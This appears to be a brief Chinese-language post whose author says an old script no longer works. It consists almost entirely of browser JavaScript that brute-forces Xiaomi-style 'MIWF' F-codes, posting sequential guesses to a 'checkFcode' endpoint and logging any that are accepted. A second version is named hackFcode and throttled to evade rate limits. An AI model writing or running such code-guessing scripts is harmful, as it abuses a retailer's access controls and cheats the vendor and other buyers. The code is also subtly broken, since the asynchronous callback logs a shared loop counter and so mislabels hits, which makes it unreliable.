之前写过的一段代码现在用不了了

/**

 * MIWF17283726319273827

**/

var vcode = '';

for(var i=0; i<1000; i++) {

    var fcode = 'MIWF' + '8834314673311' + (1234 + i);

    $.post('checkFcode', {'f2vcode':fcode, 'verifycode':vcode}, function(ret){

        //ret = {"type":"alert","alert":"Fu7801u8f93u5165u4e0du6b63u786euff01u8bf7u91cdu65b0u8f93u5165u6b63u786eu7684Fu7801"};

        if (ret.type.length > 0) {

        } else {

            console.log(i);

        }

    });

}

/**/

var i = 0;

(function hackFcode(){

    var fcode = 'MIWF' + '8834314673311' + (1234 + i);

    $.post('checkFcode', {'f2vcode':fcode, 'verifycode':vcode}, function(ret){

        //ret = {"type":"alert","alert":"Fu7801u8f93u5165u4e0du6b63u786euff01u8bf7u91cdu65b0u8f93u5165u6b63u786eu7684Fu7801"};

        if (ret.type.length > 0) {

        } else {

            console.log(i);

        }

    });

    i++;

    setTimeout(hackFcode, 2000);

})();